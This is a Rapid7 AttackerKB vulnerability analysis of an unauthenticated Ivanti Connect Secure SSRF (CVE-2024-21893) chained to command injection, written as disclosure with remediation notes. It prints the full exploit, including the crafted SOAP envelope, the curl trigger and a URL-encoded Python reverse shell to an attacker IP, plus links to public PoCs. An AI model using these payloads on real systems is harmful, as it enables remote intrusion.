The following exploit POCs have not been verified by Rapid7 researchers, but are
sourced from: nomi-sec/PoC-in-GitHub.
Additional sources will be added here as they become relevant.
Notes: We will only add the top 3 POCs for a given CVE. POCs added here must
have at least 2 GitHub stars.
CVE-2024-21893.py (https://github.com/h4x0r-dz/CVE-2024-21893.py)
CVE-2024-21893-to-CVE-2024-21887
(https://github.com/Chocapikk/CVE-2024-21893-to-CVE-2024-21887)
MISCELLANEOUS
https://forums.ivanti.com/s/article/CVE-2024-21888-Privilege-Escalation-for-Ivanti-Connect-Secure-and-Ivanti-Policy-Secure?language=en_US
https://www.mandiant.com/resources/blog/suspected-apt-targets-ivanti-zero-day
ADDITIONAL INFO
Authenticated
Unknown
Exploitable
Unknown
Reliability
Unknown
Stability
Unknown
Available Mitigations
Unknown
Shelf Life
Unknown
Userbase/Installbase
Unknown
Patch Effectiveness
Unknown
Rapid7
February 02, 2024 7:37pm UTC (4 months ago)
TECHNICAL ANALYSIS
OVERVIEW
On January 31, 2024, Ivanti disclosed CVE-2024-21893, affecting Ivanti Connect
Secure and Ivanti Policy Secure. The vulnerability is described as a server side
request forgery (SSRF) issue in the Security Assertion Markup Language (SAML)
component of the appliance.
Ivanti Connect Secure appliances have recently been under active exploitation
via a number of vulnerabilities chained together; an authentication bypass
vulnerability (CVE-2023-46805) has been chained to a command injection
vulnerability (CVE-2024-21887), to give an attacker unauthenticated remote code
execution. Our Rapid7 analysis published on January 12, 2024, goes into detail
on these vulnerabilities. To address those two vulnerabilities, Ivanti released
a mitigation file which successfully prevented the exploit chain from working.
At the time of publishing this first mitigation, Ivanti had not yet released any
official patches for the issues.
With the publication of the SSRF vulnerability CVE-2024-21893 on January 31,
2024, both Ivanti and Mandiant have said that a threat actor has developed a new
technique to bypass Ivanti’s original mitigation for the initial exploit chain.
This bypass technique is CVE-2024-21893. Ivanti has released a second mitigation
to prevent both exploit chains from working.
As of Feb 1, 2024, Ivanti has begun releasing official patches to address all
vulnerabilities used in both exploit chains. Note: Rapid7 research has verified
that the second mitigation from Ivanti successfully blocks the exploit chain
described in this analysis.
This analysis details what we believe to be CVE-2024-21893, an SSRF
vulnerability in the SAML component of Ivanti Connect Secure that can be
leveraged to successfully bypass the original mitigation for the CVE-2023-46805
and CVE-2024-21887 exploit chain. Our analysis targets Ivanti Connect Secure
22.3R1, while the latest version available is 22.5R2.2.
We recommend reading our Rapid7 analysis for background on both the original
vulnerabilities, and on how Ivanti Connect Secure handles requests and
authentication.
HOW TO REACH THE SAML SERVER
When researching the auth bypass vulnerability CVE-2023-46805, we discovered
that authentication occurs via a function doAuthCheck in an HTTP web server
binary /root/home/bin/web. When reviewing this in the context of a new SAML
vulnerability, we can note that the endpoint /dana-ws/saml20.ws also does not
require authentication.
if ( !memcmp(uri_path_1, "/dana-na/", 9u)
|| !memcmp(a1->uri_path, "/dana-cached/setup/", 0x13u)
|| !memcmp(a1->uri_path, "/dana-cached/sc/", 0x10u)
|| !strncmp(uri_path1, "/dana-cached/hc/", 0x10u)
|| !strncmp(uri_path1, "/dana-cached/cc/", 0x10u)
|| !strncmp(uri_path1, "/dana-cached/ep/", 0x10u)
|| !strncmp(uri_path1, "/dana-cached/psal/", 0x12u)
|| !strncmp(uri_path1, "/dana-cached/remediation/", 0x19u)
|| !strncmp(uri_path1, "/dana-ws/saml20.ws", 0x12u) // <--- No auth for this SAML endpoint
|| !strncmp(uri_path1, "/dana-ws/samlecp.ws", 0x13u)
|| !strncmp(uri_path1, "/adfs/ls", 8u)
|| !strncmp(uri_path1, "/api/v1/profiler/", 0x11u)
|| !strncmp(uri_path1, "/api/v1/cav/client/", 0x13u) && strncmp(uri_path1, "/api/v1/cav/client/auth_token", 0x1Du) )
{
return 1;
}
v18 = (const void *)getDevice(a1->dwordC);
if ( (unsigned __int8)sub_873D0(a1->uri_path, v18) )
return 1;
uri_path = a1->uri_path;
if ( !strncmp((const char *)uri_path, "/api/v1/ueba/", 0xDu)
|| !strncmp((const char *)uri_path, "/api/v1/integration/", 0x14u)
|| !strncmp((const char *)uri_path, "/api/v1/dsintegration", 0x15u)
|| !strncmp((const char *)uri_path, "/api/v1/pps/action/", 0x13u)
|| !strncmp((const char *)uri_path, "/api/my-session", 0xFu)
|| !strncmp((const char *)uri_path, "/api/v1/totp/user-backup-code", 0x1Du) // <--- No auth check for the endpoint in the original exploit chain, CVE-2023-46805
|| !strncmp((const char *)uri_path, "/api/v1/esapdata", 0x10u)
|| !strncmp((const char *)uri_path, "/api/v1/sessions", 0x10u)
|| !strncmp((const char *)uri_path, "/api/v1/tasks", 0xDu)
|| !strncmp((const char *)uri_path, "/api/v1/gateways", 0x10u)
|| !strncmp((const char *)uri_path, "/_/api/aaa", 0xAu)
|| !strncmp((const char *)uri_path, "/api/v1/oidc", 0xCu) )
{
return 1;
}
The web server’s function doDispatchRequest will dispatch unauthenticated HTTP
POST requests for the endpoints /dana-ws/saml.ws, /dana-ws/saml20.ws, and
/dana-ws/samlecp.ws to a back-end service called saml-server via the web
server’s DSWSSAMLHandler class. These requests are intended to service
SOAP-based SAML requests.
if ( !strncmp(v33, "/dana-ws/saml.ws", 0x10u)
|| !strncmp(v33, "/dana-ws/saml20.ws", 0x12u) // <--- our unauthenticated path
|| !strncmp(v33, "/dana-ws/samlecp.ws", 0x13u) )
{
if ( !byte_13EBE0 && __cxa_guard_acquire((__guard *)&byte_13EBE0) )
{
v37 = "Watchdog";
if ( !*((_BYTE *)a1 + 240) )
v37 = "WebRequest";
dword_13EC54 = DSGetStatementCounter("request.cc", 5283, "doDispatchRequest", v37, 10, "Dispatching to SAML");
__cxa_guard_release((__guard *)&byte_13EBE0);
}
++*(_QWORD *)dword_13EC54;
if ( DSLog::Debug::isOn(v76) )
{
v34 = "Watchdog";
if ( !*((_BYTE *)a1 + 240) )
v34 = "WebRequest";
DSLog::Debug::Write(
(DSLog::Debug *)v34,
&byte_9[1],
(int)"request.cc",
(const char *)&elf_gnu_hash_chain[440] + 3,
(int)"Dispatching to SAML",
v92);
}
DSCockpitCounter::updateCounter(0, 1);
if ( !byte_13EBE8 && __cxa_guard_acquire((__guard *)&byte_13EBE8) )
{
dword_13EC50 = DSGetStatementCounter(
"request.cc",
5285,
"doDispatchRequest",
"WebRequest",
60,
"DSCockpitCounter Webhits Incremented");
__cxa_guard_release((__guard *)&byte_13EBE8);
}
++*(_QWORD *)dword_13EC50;
if ( DSLog::Debug::isOn(v77) )
DSLog::Debug::Write(
(DSLog::Debug *)"WebRequest",
off_3C,
(int)"request.cc",
(const char *)&elf_gnu_hash_chain[441] + 1,
(int)"DSCockpitCounter Webhits Incremented",
v92);
DSCockpitCounter::updateCounter(4, 1);
return sub_86980((int)a1) != 0; // <--- dispatch to saml-server via DSWSSAMLHandler
}
The saml-server binary is located in /home/bin/saml-server and is responsible
for all SAML operations, including SOAP requests. The function SoapHandler will
attempt to convert the incoming HTTP POST request’s content data into an XML
object via the function createXMLObjectFromSoapMessage. This function will call
out to the library xmltooling for all XML processing.
We can note that the version of xmltooling being used is 3.0.2, which is several
releases out of date. Searching online for SSRF vulnerabilities in the
xmltooling library uncovers CVE-2023-36661, an SSRF vulnerability via a crafted
KeyInfo element in xmltooling affecting all version of the library before 3.2.4.
The vendor Shibboleth published an advisory with some more details on June 12,
2023.
Given we can reach the SAML server with an unauthenticated HTTP request, and can
provide arbitrary XML data for processing by the vulnerable xmltooling library
used by saml-server, it seems likely that this is the SSRF vulnerability
identified as CVE-2024-21893 and used to bypass the first mitigation from
Ivanti.
TRIGGERING THE SSRF
To trigger the SSRF vulnerability, we provide an XML SOAP envelope. Inside the
SOAP envelope is a signature that will be processed by xmltooling. The signature
contains a KeyInfo element that has a child RetrievalMethod element. The
RetrievalMethod element has an attribute called URI. This attribute allows us to
specify an arbitrary URI that the function XMLToolingFIPS.XMLObject.Signature
will use to request a remote resource via a HTTP GET request, thus giving an
attacker an SSRF exploit primitive.
For example, to perform an SSRF and make saml-server perform an HTTP request to
a machine we control (192.168.86.35 in the below example), the following SOAP
envelope can be used (we saved the below XML to a file called post_data.xml).
<?xml version="1.0" encoding="UTF-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<ds:Signature
xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
<ds:SignedInfo>
<ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
<ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>
</ds:SignedInfo>
<ds:SignatureValue>qwerty</ds:SignatureValue>
<ds:KeyInfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.w3.org/2000/09/xmldsig" xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
<ds:RetrievalMethod URI="http://192.168.86.35:4444/hack%20the%20planet"/>
<ds:X509Data/>
</ds:KeyInfo>
<ds:Object></ds:Object>
</ds:Signature>
</soap:Body>
</soap:Envelope>
We can then trigger the SSRF with a simple cURL request to the Ivanti Connect
Secure appliance (192.168.86.111 in the example below):
curl -ik -X POST -H "Content-Type: text/xml" --data @post_data.xml https://192.168.86.111/dana-ws/saml20.ws
Finally a netcat listener on our machine can be used to receive the server’s
HTTP GET request. We can note that we also control the GET query, allowing us to
provide an arbitrary GET query string during the SSRF. This will be important
when we leverage the SSRF for remote code execution.
>ncat -lp 4444
GET /hack%20the%20planet HTTP/1.0
Host: 192.168.86.35:4444
CHAINING THE SSRF TO CVE-2024-21887 FOR UNAUTHENTICATED RCE
Knowing we can leverage an unauthenticated SSRF vulnerability to perform an
arbitrary HTTP GET request, we can chain this to one of the command injection
vulnerabilities from CVE-2024-21887 (Ivanti choose to address multiple command
injection vulnerabilities in a single CVE, which is not considered a best
practice. For clarity, every individual vulnerability should optimally be
assigned a unique CVE identifier).
As detailed in our original Rapid7 analysis, a command injection vulnerability
exists in the /api/v1/license/keys-status endpoint, and is reachable via a
single HTTP GET request. We learnt during that analysis that the Python back end
that services the /api/v1/license/keys-status endpoint listens on a locally
bound port 8090. Therefore, we can exploit this command injection via an HTTP
GET request to http://127.0.0.1:8090/api/v1/license/keys-status if the HTTP GET
request occurs on the appliance itself, for example via an SSRF vulnerability.
As authentication is performed by the front-end web server and not the back-end
services, no authentication is needed. This allows us to leverage the SSRF
vulnerability to bypass the original mitigation from Ivanti, which imposed
filtering restrictions in the front-end web server.
To exploit CVE-2024-21887, we modify the SSRF URI as follows. This will trigger
the command injection and run a Python-based reverse shell payload back to our
attacker machine.
http://127.0.0.1:8090/api/v1/license/keys-status/%3Bpython%20%2Dc%20%27import%20socket%2Csubprocess%3Bs%3Dsocket%2Esocket%28socket%2EAF%5FINET%2Csocket%2ESOCK%5FSTREAM%29%3Bs%2Econnect%28%28%22192%2E168%2E86%2E35%22%2C4444%29%29%3Bsubprocess%2Ecall%28%5B%22%2Fbin%2Fsh%22%2C%22%2Di%22%5D%2Cstdin%3Ds%2Efileno%28%29%2Cstdout%3Ds%2Efileno%28%29%2Cstderr%3Ds%2Efileno%28%29%29%27%3B
Our XML SOAP envelope becomes as follows:
<?xml version="1.0" encoding="UTF-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<ds:Signature
xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
<ds:SignedInfo>
<ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
<ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>
</ds:SignedInfo>
<ds:SignatureValue>qwerty</ds:SignatureValue>
<ds:KeyInfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.w3.org/2000/09/xmldsig" xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
<ds:RetrievalMethod URI="http://127.0.0.1:8090/api/v1/license/keys-status/%3Bpython%20%2Dc%20%27import%20socket%2Csubprocess%3Bs%3Dsocket%2Esocket%28socket%2EAF%5FINET%2Csocket%2ESOCK%5FSTREAM%29%3Bs%2Econnect%28%28%22192%2E168%2E86%2E35%22%2C4444%29%29%3Bsubprocess%2Ecall%28%5B%22%2Fbin%2Fsh%22%2C%22%2Di%22%5D%2Cstdin%3Ds%2Efileno%28%29%2Cstdout%3Ds%2Efileno%28%29%2Cstderr%3Ds%2Efileno%28%29%29%27%3B"/>
<ds:X509Data/>
</ds:KeyInfo>
<ds:Object></ds:Object>
</ds:Signature>
</soap:Body>
</soap:Envelope>
We can then trigger the SSRF vulnerability, which in turn triggers the command
injection vulnerability, which will in turn execute our reverse shell payload.
curl -ik -X POST -H "Content-Type: text/xml" --data @post_data.xml https://192.168.86.111/dana-ws/saml20.ws
If we enable debug logging on the appliance we can see the saml-server
processing the incoming XML data and performing the SSRF request to
127.0.0.1:8090. The debug log will be located in /data/var/dlogs/debuglog.
2024/02/02 09:37:41.758224 saml-server(30183) vc0 10 saml soap.cc:724 - DSSAMLHandler,Received SAML SOAP request:
<?xml version="1.0" encoding="UTF-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><ds:Signature
xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
<ds:SignedInfo>
<ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
<ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>
</ds:SignedInfo>
<ds:SignatureValue>blah</ds:SignatureValue>
<ds:KeyInfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.w3.org/2000/09/xmldsig"
xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
<ds:RetrievalMethod URI="http://127.0.0.1:8090/api/v1/totp/user-backup-code/../../license/keys-status/%3Bpython%20%2Dc%20%27import%20socket%2Csubprocess%3Bs%3Dsocket%2Esocket%28socket%2EAF%5FINET%2Csocket%2ESOCK%5FSTREAM%29%3Bs%2Econnect%28%28%22192%2E168%2E86%2E35%22%2C4444%29%29%3Bsubprocess%2Ecall%28%5B%22%2Fbin%2Fsh%22%2C%22%2Di%22%5D%2Cstdin%3Ds%2Efileno%28%29%2Cstdout%3Ds%2Efileno%28%29%2Cstderr%3Ds%2Efileno%28%29%29%27%3B"/>
<ds:X509Data/>
</ds:KeyInfo><ds:Object></ds:Object></ds:Signature></soap:Body></soap:Envelope> from client 192.168.86.35
2024/02/02 09:37:41.758229 saml-server(30183) vc0 10 saml samlprofile.cc:35 - SAMLProfile::createXMLObjectFromSoapMessage
2024/02/02 09:37:41.758233 saml-server(30183) vc0 10 saml samlprofile.cc:36 - SOAP Message --> <?xml version="1.0" encoding="UTF-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><ds:Signature
xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
<ds:SignedInfo>
<ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
<ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>
</ds:SignedInfo>
<ds:SignatureValue>blah</ds:SignatureValue>
<ds:KeyInfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.w3.org/2000/09/xmldsig"
xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
<ds:RetrievalMethod URI="http://127.0.0.1:8090/api/v1/totp/user-backup-code/../../license/keys-status/%3Bpython%20%2Dc%20%27import%20socket%2Csubprocess%3Bs%3Dsocket%2Esocket%28socket%2EAF%5FINET%2Csocket%2ESOCK%5FSTREAM%29%3Bs%2Econnect%28%28%22192%2E168%2E86%2E35%22%2C4444%29%29%3Bsubprocess%2Ecall%28%5B%22%2Fbin%2Fsh%22%2C%22%2Di%22%5D%2Cstdin%3Ds%2Efileno%28%29%2Cstdout%3Ds%2Efileno%28%29%2Cstderr%3Ds%2Efileno%28%29%29%27%3B"/>
<ds:X509Data/>
</ds:KeyInfo><ds:Object></ds:Object></ds:Signature></soap:Body></soap:Envelope>
2024/02/02 09:37:41.758361 saml-server(30183) vc0 20 saml main.cc:313 - XMLTooling.XMLObject.Builder DEBUG getBuilder: located XMLObjectBuilder for element name: soap:Envelope
2024/02/02 09:37:41.758391 saml-server(30183) vc0 20 saml main.cc:313 - XMLTooling.XMLObject DEBUG unmarshall: unmarshalling DOM element (soap:Envelope)
2024/02/02 09:37:41.758407 saml-server(30183) vc0 20 saml main.cc:313 - XMLTooling.XMLObject DEBUG unmarshall unmarshallAttributes: unmarshalling attributes for DOM element (soap:Envelope)
2024/02/02 09:37:41.758413 saml-server(30183) vc0 20 saml main.cc:313 - XMLTooling.XMLObject DEBUG unmarshall unmarshallAttributes: found namespace declaration, adding it to the list of namespaces on the XMLObject
2024/02/02 09:37:41.758420 saml-server(30183) vc0 20 saml main.cc:313 - XMLTooling.XMLObject DEBUG unmarshall unmarshallContent: unmarshalling child nodes of DOM element (soap:Envelope)
2024/02/02 09:37:41.758443 saml-server(30183) vc0 20 saml main.cc:313 - XMLTooling.XMLObject.Builder DEBUG unmarshall unmarshallContent getBuilder: located XMLObjectBuilder for element name: soap:Body
2024/02/02 09:37:41.758450 saml-server(30183) vc0 20 saml main.cc:313 - XMLTooling.XMLObject DEBUG unmarshall unmarshallContent: unmarshalling child element (soap:Body)
2024/02/02 09:37:41.758458 saml-server(30183) vc0 20 saml main.cc:313 - XMLTooling.XMLObject DEBUG unmarshall unmarshallContent unmarshall: unmarshalling DOM element (soap:Body)
2024/02/02 09:37:41.758465 saml-server(30183) vc0 20 saml main.cc:313 - XMLTooling.XMLObject DEBUG unmarshall unmarshallContent unmarshall unmarshallContent: unmarshalling child nodes of DOM element (soap:Body)
2024/02/02 09:37:41.758474 saml-server(30183) vc0 20 saml main.cc:313 - XMLTooling.XMLObject.Builder DEBUG unmarshall unmarshallContent unmarshall unmarshallContent getBuilder: located XMLObjectBuilder for element name: ds:Signature
2024/02/02 09:37:41.758480 saml-server(30183) vc0 20 saml main.cc:313 - XMLTooling.XMLObject DEBUG unmarshall unmarshallContent unmarshall unmarshallContent: unmarshalling child element (ds:Signature)
2024/02/02 09:37:41.758500 saml-server(30183) vc0 20 saml main.cc:313 - XMLToolingFIPS.XMLObject.Signature DEBUG unmarshall unmarshallContent unmarshall unmarshallContent: unmarshalling ds:Signature
2024/02/02 09:37:41.758559 saml-server(30183) vc0 10 DSPreload::DNS::gethostbyname dns.cc:46 - name=127.0.0.1
2024/02/02 09:37:41.758564 saml-server(30183) vc0 10 DSPreload::DNS::gethostbyname dns.cc:92 - name=127.0.0.1 has 1 hits
2024/02/02 09:37:41.758569 saml-server(30183) vc0 5 DSPreload::DNS::gethostbyname dns.cc:96 - hit 0 = 127.0.0.1
2024/02/02 09:37:41.758578 saml-server(30183) vc0 1 DSPreload::Net net.cc:424 - rebind: connect AF_INET to dest = 127.0.0.1:8090
Given that all XML operations in saml-server are processed by the vulnerable
xmltooling library, it is likely that other SAML endpoints can be leveraged to
perform the SSRF. Several CGI scripts also perform SAML processing, such as
/dana-na/auth/saml-sso.cgi and /dana-na/auth/saml-logout.cgi.
We have verified that the new second mitigation from Ivanti successfully blocks
the exploit chain described in this analysis.
REMEDIATION
Ivanti have released a second mitigation file that successfully remediates the
exploit described in this analysis.
In addition, Ivanti has released a patch to address all known vulnerabilities
(CVE-2023-46805, CVE-2024-21887, CVE-2024-21888, and CVE-2024-21893).
A knowledge base article is available for further details on Ivanti’s interim
workaround and official patch.
REFERENCES
* Vendor Advisory
* Rapid7 Blog
* Rapid7 Analysis of CVE-2023-46805 and CVE-2024-21887
REPORT AS EXPLOITED IN THE WILD
AttackerKB users want to know this is information they can trust.
Help the community by indicating the source(s) of your knowledge:
* Vendor Advisory
Add a reference URL (optional):
* Government or Industry Alert
Add a reference URL (optional):
* Threat Feed
Add a reference URL (optional):
* News Article or Blog
Add a reference URL (optional):
* Exploitation personally observed in an environment (client, customer,
employer, or personal environment)
Add a reference URL (optional):
* Other:
Please explain the source of your report.
Add a reference URL (optional):
Report and add more details Report as Exploited Update Report
CVE ID
AttackerKB requires a CVE ID in order to pull vulnerability data and references
from the CVE list and the National Vulnerability Database. If available, please
supply below:
CVE ID:
ADD REFERENCES:
Cancel Submit
QUICK COOKIE NOTIFICATION
This site uses cookies for anonymized analytics to improve the site.
Rapid7 will never sell the data collected on this site.
I AGREE, LET’S GO!
--------------------------------------------------------------------------------
View our Cookie Policy for full details
This site uses cookies for anonymized analytics. For more information or to
change your cookie settings, view our Cookie Policy.
Terms of Use Code of Conduct FAQ Changelog Privacy Policy Contact API A Rapid7
Project
WATCH THIS TOPIC
Watch this topic to be notified when new information, assessments, and comments
are added